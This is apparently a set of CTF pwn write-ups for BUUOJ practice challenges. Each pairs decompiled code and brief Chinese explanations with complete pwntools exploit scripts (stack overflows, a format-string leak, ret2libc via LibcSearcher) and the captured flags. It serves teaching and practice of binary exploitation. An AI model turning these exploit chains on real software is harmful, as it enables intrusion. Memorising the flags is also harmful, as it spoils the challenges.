
rip
Information
- Category: Pwn
- Points: 1
Write-up
丢给 IDA 老婆分析,看到有一个危险函数 gets
,还有一个 fun
会返回 system("/bin/sh")
,保护全关。直接打,注意栈对齐。
Exploit
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, process, remote
gdbscript = """b *main+32b *main+67c"""
FILE = "./pwn1"HOST, PORT = "node5.buuoj.cn", 27889
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): elf = context.binary rop = ROP(elf)
payload = flat(b"A" * 0x17, rop.ret.address, elf.symbols["fun"])
return payload
def main(): target = launch() payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
Flag
Flag: flag{840e6d55-5582-4995-a345-79f37e63db00}
warmup_csaw_2016
Information
- Category: Pwn
- Points: 1
Write-up
int sprintf(char* buffer, const char* format, ...);
函数将格式化后的数据写入缓冲区,返回值是写入的字符数,不包括末尾的空字符 \0
。snprintf
加入了缓冲区大小检查以及自动截断,比 sprintf
更安全,虽然本题没考这个函数的安全性问题。
这里 vuln
的地址将被写入 buffer s
,然后 write
负责将 buffer s
中前九个字节,也就是 vuln
的地址输出到标准输出。
main
返回的是 gets
,我们通过这个 gets
覆盖返回地址,修改为白送的 vuln
的地址即可。
__int64 __fastcall main(int a1, char **a2, char **a3){ char s[64]; // [rsp+0h] [rbp-80h] BYREF _BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL); write(1, "WOW:", 4uLL); sprintf(s, "%p\n", vuln); write(1, s, 9uLL); write(1, ">", 1uLL); return gets(v5);}
int vuln(){ return system("cat flag.txt");}
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote
gdbscript = """b *main+70b *main+129c"""
FILE = "./pwn-patched"HOST, PORT = "node5.buuoj.cn", 26553
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(leaked_addr): payload = flat(b"A" * 0x48, leaked_addr)
return payload
def main(): target = launch()
target.recvuntil(b"WOW:") leaked_addr = int(target.recvline().strip(), 16)
payload = construct_payload(leaked_addr)
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
Flag
Flag: flag{25bcbfc0-3b7e-4261-b957-297bf39c1bfd}
ciscn_2019_n_1
Information
- Category: Pwn
- Points: 1
Write-up
通过 gets
将 v2
篡改为 11.28125
即可。
int func(){ _BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0; puts("Let's guess the number."); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag"); else return puts("Its value should be 11.28125");}
第一次接触小数的处理问题,调试的时候,可以使用 p/f $xmm0
来查看这个寄存器的值,同理,使用 p
指令加上强制转换和解引用,可以检查地址处保存的小数值:
pwndbg> p/f $xmm0$1 = { v8_bfloat16 = {-0, 11.25, 0, 0, 0, 0, 0, 0}, v8_half = {-0, 2.6016, 0, 0, 0, 0, 0, 0}, v4_float = {11.28125, 0, 0, 0}, v2_double = {5.404878958234834e-315, 0}, v16_int8 = {0, -128, 52, 65, 0 <repeats 12 times>}, v8_int16 = {-0, 2.6016, 0, 0, 0, 0, 0, 0}, v4_int32 = {11.28125, 0, 0, 0}, v2_int64 = {5.404878958234834e-315, 0}, uint128 = 3.98770131343430171379e-4942}pwndbg> p/f $xmm0.v4_int32[0]$2 = 11.28125pwndbg> p *(float *)($rbp - 4)$3 = 11.28125
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote, struct
gdbscript = """b *func+58c"""
FILE = "./ciscn_2019_n_1"HOST, PORT = "node5.buuoj.cn", 25637
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): payload = flat(b"A" * 0x2C, struct.pack("<f", 11.28125))
return payload
def main(): target = launch()
payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
Flag
Flag: flag{7fd050d8-bfa7-44bc-b98b-a4ee709fea28}
pwn1_sctf_2016
Information
- Category: Pwn
- Points: 1
Write-up
int vuln(){ const char *v0; // eax int v2; // [esp+8h] [ebp-50h] char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF _BYTE v4[4]; // [esp+3Ch] [ebp-1Ch] BYREF _BYTE v5[7]; // [esp+40h] [ebp-18h] BYREF char v6; // [esp+47h] [ebp-11h] BYREF _BYTE v7[7]; // [esp+48h] [ebp-10h] BYREF _BYTE v8[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: "); fgets(s, 32, edata); std::string::operator=(&input, s); std::allocator<char>::allocator(&v6); std::string::string(v5, "you", &v6); std::allocator<char>::allocator(v8); std::string::string(v7, "I", v8); replace((std::string *)v4, (std::string *)&input, (std::string *)v7); std::string::operator=(&input, v4, v2, v5); std::string::~string(v4); std::string::~string(v7); std::allocator<char>::~allocator(v8); std::string::~string(v5); std::allocator<char>::~allocator(&v6); v0 = (const char *)std::string::c_str((std::string *)&input); strcpy(s, v0); return printf("So, %s\n", s);}
从上面代码可知,fegts
读取了 32 个字符到 buffer s
,其中 \0
占了一个位置,所以我们可以输入的有 31 个字符。
接着,replace
会将 buffer s
中的字符 I
替换为 you
,返回修改后的字符串,赋给 input
;v0
是 input.c_str()
的结果,其中 c_str()
的功能是 Returns a pointer to a null-terminated character array with data equivalent to those stored in the string.
这个结果被 strcpy
复制到 buffer s
,由于 strcpy
不会检查 buffer 大小,所以可能造成溢出,溢出后我们篡改返回地址返回到后门函数 get_flag
即可。
这个 replace
函数怎么说呢……反正我是没自己读反编译的代码,没学过 C++
,看着头好大……我做这题的时候刚开始是看见 vuln
中有涉及 replace
的字眼,就觉得可能会对字符串做一些替换修改的操作吧。接着看到代码中出现的 you
,I
这样的字符串常量,直接运行程序拿这些内容去试试,发现输入 I
会被替换成 you
,那 replace
的作用不用看也猜得差不多了。最后,闲的没事,我让 GPT 分析了一下 replace
的功能,和猜的也差不多。太菜了呜呜呜……
std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3){ int v4; // [esp+Ch] [ebp-4Ch]42 collapsed lines
_BYTE v5[4]; // [esp+10h] [ebp-48h] BYREF _BYTE v6[7]; // [esp+14h] [ebp-44h] BYREF char v7; // [esp+1Bh] [ebp-3Dh] BYREF int v8; // [esp+1Ch] [ebp-3Ch] _BYTE v9[4]; // [esp+20h] [ebp-38h] BYREF int v10; // [esp+24h] [ebp-34h] BYREF int v11; // [esp+28h] [ebp-30h] BYREF char v12; // [esp+2Fh] [ebp-29h] BYREF _DWORD v13[2]; // [esp+30h] [ebp-28h] BYREF _BYTE v14[4]; // [esp+38h] [ebp-20h] BYREF int v15; // [esp+3Ch] [ebp-1Ch] _BYTE v16[4]; // [esp+40h] [ebp-18h] BYREF int v17; // [esp+44h] [ebp-14h] BYREF _BYTE v18[4]; // [esp+48h] [ebp-10h] BYREF _BYTE v19[8]; // [esp+4Ch] [ebp-Ch] BYREF
while ( std::string::find(a2, a3, 0) != -1 ) { std::allocator<char>::allocator(&v7); v8 = std::string::find(a2, a3, 0); std::string::begin((std::string *)v9); __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10); std::string::begin((std::string *)&v11); std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v6, v11, v10, &v7); std::allocator<char>::~allocator(&v7); std::allocator<char>::allocator(&v12); std::string::end((std::string *)v13); v13[1] = std::string::length(a3); v15 = std::string::find(a2, a3, 0); std::string::begin((std::string *)v16); __gnu_cxx::__normal_iterator<char *,std::string>::operator+(v14); __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v17); std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v5, v17, v13[0], &v12); std::allocator<char>::~allocator(&v12); std::operator+<char>((std::string *)v19); std::operator+<char>((std::string *)v18); std::string::operator=(a2, v18, v5, v4); std::string::~string(v18); std::string::~string(v19); std::string::~string(v5); std::string::~string(v6); } std::string::string(a1, a2); return a1;}
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote
gdbscript = """b *vuln+42c"""
FILE = "./pwn1_sctf_2016"HOST, PORT = "node5.buuoj.cn", 28688
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): elf = context.binary
payload = flat(b"I" * 21 + b"A", elf.symbols["get_flag"])
return payload
def main(): target = launch()
payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
Flag
Flag: flag{db1e1ee0-907b-497b-85eb-9fe936bf26e7}
jarvisoj_level0
Information
- Category: Pwn
- Points: 1
Write-up
闹着玩呢?不写了,和第一题差不多。
Exploit
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, process, remote
gdbscript = """c"""
FILE = "./level0"HOST, PORT = "node5.buuoj.cn", 27572
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): elf = context.binary rop = ROP(elf)
payload = flat(b"A" * 0x88, rop.ret.address, elf.symbols["callsystem"])
return payload
def main(): target = launch()
payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
Flag
Flag: flag{05ce7df6-bb73-4445-9abd-b107d55cede1}
[第五空间 2019 决赛] PWN5
Information
- Category: Pwn
- Points: 1
Write-up
int __cdecl main(int a1){ time_t v1; // eax int result; // eax int fd; // [esp+0h] [ebp-84h] char nptr[16]; // [esp+4h] [ebp-80h] BYREF char buf[100]; // [esp+14h] [ebp-70h] BYREF unsigned int v6; // [esp+78h] [ebp-Ch] int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1; v6 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); v1 = time(0); srand(v1); fd = open("/dev/urandom", 0); read(fd, &dword_804C044, 4u); printf("your name:"); read(0, buf, 0x63u); printf("Hello,"); printf(buf); printf("your passwd:"); read(0, nptr, 0xFu); if ( atoi(nptr) == dword_804C044 ) { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; if ( __readgsdword(0x14u) != v6 ) sub_80493D0(); return result;}
核心逻辑是判断 atoi(nptr) == dword_804C044
,因此只要我们需要知道 dword_804C044
的值,就可以拿到 shell
。
这题完全就是考了个格式化字符串漏洞,read(fd, &dword_804C044, 4u);
将随机数读取到 bss
段,所以我们只要想办法泄漏 bss
中保存的 dword_804C044
的值就好了。dword_804C044
的地址可以通过 bss
段基地址加上 debug 出来的数据偏移计算得到。把泄漏的地址和格式化字符串一起作为输入发送,用 %s
来输出栈上保存的地址所指向的值。
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote, u32
gdbscript = """b *0x80492bcb *0x80492f0c"""
FILE = "./pwn"HOST, PORT = "node5.buuoj.cn", 26163
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def rev_atoi(data): return str(u32(data)).encode()
def construct_payload(): elf = context.binary
payload = flat(b"aa%12$s\x00", elf.bss() + 0x4)
return payload
def main(): target = launch()
payload = construct_payload()
target.sendlineafter(b"your name:", payload) target.recvuntil(b"aa")
passwd = rev_atoi(target.recv(0x4))
target.sendlineafter(b"your passwd:", passwd) target.interactive()
if __name__ == "__main__": main()
Flag
Flag: flag{a375d1c7-b6dc-4b93-bb5e-9ba59d14060a}
jarvisoj_level2
Information
- Category: Pwn
- Points: 1
Write-up
ssize_t vulnerable_function(){ _BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:"); return read(0, buf, 256u);}
观察上面程序,read
可以溢出破坏返回地址。由于这是 32-bit 程序,函数参数通过栈来传递,所以我们可以覆盖返回地址为 system@plt
,然后在栈上写传给 system
的参数。
我们希望拿 shell
,直接 IDA Shift + F12
看程序包含的字符串,发现有 .data:0804A024 hint db '/bin/sh',0
,那么参数问题就解决了,因为没开 PIE,直接就是固定地址。
需要注意的是,如果你返回到 call system@plt
这样的内部指令,由于 call
指令会自动将下一条指令的地址压入栈中,作为函数调用结束后的返回地址,所以你可以直接在它之后写要传入的参数;而如果选择返回到 system@plt
,那就需要手动提供一个地址作为函数调用结束后的返回地址,之后才是跟着函数的参数。
即,call
指令可以分解为 push eip_next; jmp <entry>
,而返回到 system@plt
相当于直接 jmp system@plt
,没有设置返回地址。
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote
gdbscript = """set follow-fork-mode parentb *vulnerable_function+42b *vulnerable_function+52c"""
FILE = "./level2"HOST, PORT = "node5.buuoj.cn", 25976
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): elf = context.binary
payload = flat( b"A" * 0x8C, elf.plt["system"], 0x0, # return address placeholder next(elf.search(b"/bin/sh")), )
return payload
def main(): target = launch()
payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
Flag
Flag: flag{b3e65f27-e5ed-4763-a83b-d582ac37b3ea}
ciscn_2019_n_8
Information
- Category: Pwn
- Points: 1
Write-up
int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [esp-14h] [ebp-20h] int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0; var[14] = 0; init(); puts("What's your name?"); __isoc99_scanf("%s", var, v4, v5); if ( *(_QWORD *)&var[13] ) { if ( *(_QWORD *)&var[13] == 17LL ) system("/bin/sh"); else printf( "something wrong! val is %d",23 collapsed lines
var[0], var[1], var[2], var[3], var[4], var[5], var[6], var[7], var[8], var[9], var[10], var[11], var[12], var[13], var[14]); } else { printf("%s, Welcome!\n", var); puts("Try do something~"); } return 0;}
__isoc99_scanf((int)"%s", (int)var, v4, v5);
存在栈溢出漏洞,因为没有限制 %s
可以读取的字符数。这里 IDA 反编译出来多了两个无关的参数 v4
和 v5
,直接忽视就好了。后面两个条件判断,第一个 *(_QWORD *)&var[13]
是将 &var[13]
处的八字节,解释成一个整数,看它的值是否为 0
,不为零则进入下一个判断;*(_QWORD *)&var[13] == 0x11LL
,看 &var[13]
这个地址处的八字节整数是否为 0x11
,成立则 getshell
。
Exploit
#!/usr/bin/python
from pwn import args, context, flat, gdb, p64, process, remote
gdbscript = """b *main+100b *main+105c"""
FILE = "./ciscn_2019_n_8"HOST, PORT = "node5.buuoj.cn", 29741
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): payload = flat(b"A" * 52, p64(0x11))
return payload
def main(): target = launch()
payload = construct_payload()
target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
Flag
Flag: flag{e913a0b0-686a-4aec-a25e-503e2dc2d226}
bjdctf_2020_babystack
Information
- Category: Pwn
- Points: 1
Write-up
int __fastcall main(int argc, const char **argv, const char **envp){ _BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); LODWORD(nbytes) = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *"); puts("* And Welcome to the bin world! *"); puts("* Let's try to pwn the world! *"); puts("* Please told me u answer loudly!*"); puts("[+]Are u ready?"); puts("[+]Please input the length of your name:"); __isoc99_scanf("%d", &nbytes); puts("[+]What's u name?"); read(0, buf, (unsigned int)nbytes); return 0;}
read
读取多少字符是通过 __isoc99_scanf
控制的。
Exploit
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, process, remote
gdbscript = """b *main+197b *main+208c"""
FILE = "./bjdctf_2020_babystack"HOST, PORT = "node5.buuoj.cn", 29741
context(log_level="debug", binary=FILE, terminal="kitty")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(): elf = context.binary rop = ROP(elf)
payload = flat(b"A" * 0x18, rop.ret.address, elf.symbols["backdoor"])
return payload
def main(): target = launch()
payload = construct_payload()
target.sendlineafter(b"your name:", b"1337") target.sendlineafter(b"What's u name?", payload) target.interactive()
if __name__ == "__main__": main()
Flag
Flag: flag{3e70b773-5928-4c8e-9520-b5c5fc9d2fff}
ciscn_2019_c_1
Information
- Category: Pwn
- Points: 1
Write-up
程序的 main
函数里没什么有用的信息,重点看下面的 encrypt
函数。
int encrypt(){ size_t v0; // rbx char s[48]; // [rsp+0h] [rbp-50h] BYREF __int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s)); v3 = 0; puts("Input your Plaintext to be encrypted"); gets(s); while ( 1 ) { v0 = (unsigned int)x; if ( v0 >= strlen(s) ) break; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xFu; } else { s[x] ^= 0xEu; } } else { s[x] ^= 0xDu; } ++x; } puts("Ciphertext"); return puts(s);}
基本就是把输入字符串经过一些 xor
运算,得到密文。注意到获取输入使用的是 gets
,所以我们可以覆盖返回地址。程序没有包含任何后门函数,所以我们可以打 shellcode 或者 ROP,但是程序开了 NX,而且 ropper 也没有给出什么 syscall 之类的构造 ROP 链的 gadgets,那就打 ret2plt 泄漏 libc 地址,再打 ret2libc getshell.
不过我们的 payload 经过 encrypt
的加密会被破坏,所以一个想法是想办法让我们的输入经过 encrypt
的加密出来得到的是 payload 本身,另一种想法是想办法绕过加密逻辑。前者比较麻烦,我们优先思考后者。发现执行加密逻辑前有个判断,如果满足 if ( v0 >= strlen(s) )
就不会执行加密逻辑。字符串长度是通过 strlen
获取的,这个函数判断字符串结束的方法是检测 \x00
字符,所以如果我们把 \x00
放在 payload 开头,这个判断就会认为我们的字符串长度为 0,不去执行下面的加密逻辑,成功绕过。
因为 encrypt
是返回到 puts(s)
,由于在此之前我们已经执行过 puts
了,所以 got 表中一定有它在 libc 中的真实地址。所以我们可以通过 puts
泄漏 puts@got
中保存的真实地址,然后算出 libc 基地址,再用 libc 中的 system
和 /bin/sh
字符串构造 getshell 的 ROP 链。
由于我们返回到 puts
泄漏完地址后程序就结束了,所以我们在第一阶段泄漏出地址后需要让程序返回到 main
,重新运行主菜单逻辑(只要程序没有 exit,就不会改变 libc 基址),之后再把第二阶段的 ROP 链发出去。
由于题目没给 libc,所以远程需要用 LibcSearcher
来打。本地打的时候直接用系统的 libc,等本地通了再改成 LibcSearcher
去打远端,直接用 LibcSearcher
打不通本地,可能因为 libc-database 更新不及时,没有我们本地的 libc 版本。
Exploit
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, log, process, remote, u64
from LibcSearcher.LibcSearcher import LibcSearcher
gdbscript = """# b *encrypt+61# b *encrypt+322# b *encrypt+334c"""
FILE = "./ciscn_2019_c_1"HOST, PORT = "node5.buuoj.cn", 28304
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT)
if args.D: gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(stage, libc, libc_base): rop = ROP(elf)
if stage == 1: return flat( b"\x00", b"A" * 0x57, rop.rdi.address, elf.got["puts"], elf.plt["puts"], elf.symbols["main"], ) elif stage == 2: return flat( b"\x00", b"A" * 0x57, rop.rdi.address, libc_base + libc.dump("str_bin_sh"), rop.ret.address, libc_base + libc.dump("system"), 0x0, ) else: log.error(b"Failed constructing payload!")
def main(): target = launch()
payload = construct_payload(1, None, None)
target.sendlineafter(b"Input your choice!", b"1") target.sendline(payload) target.recvuntil(b"Ciphertext")
leaked_puts = u64(target.recv(0x8).strip().ljust(8, b"\x00")) libc = LibcSearcher("puts", leaked_puts) libc_base = leaked_puts - libc.dump("puts")
log.success(f"libc base: {hex(libc_base)}")
payload = construct_payload(2, libc, libc_base)
target.sendlineafter(b"Input your choice!", b"1") target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
Flag
Flag: flag{02f14642-e0fe-43ec-9eb9-0acbb7691cae}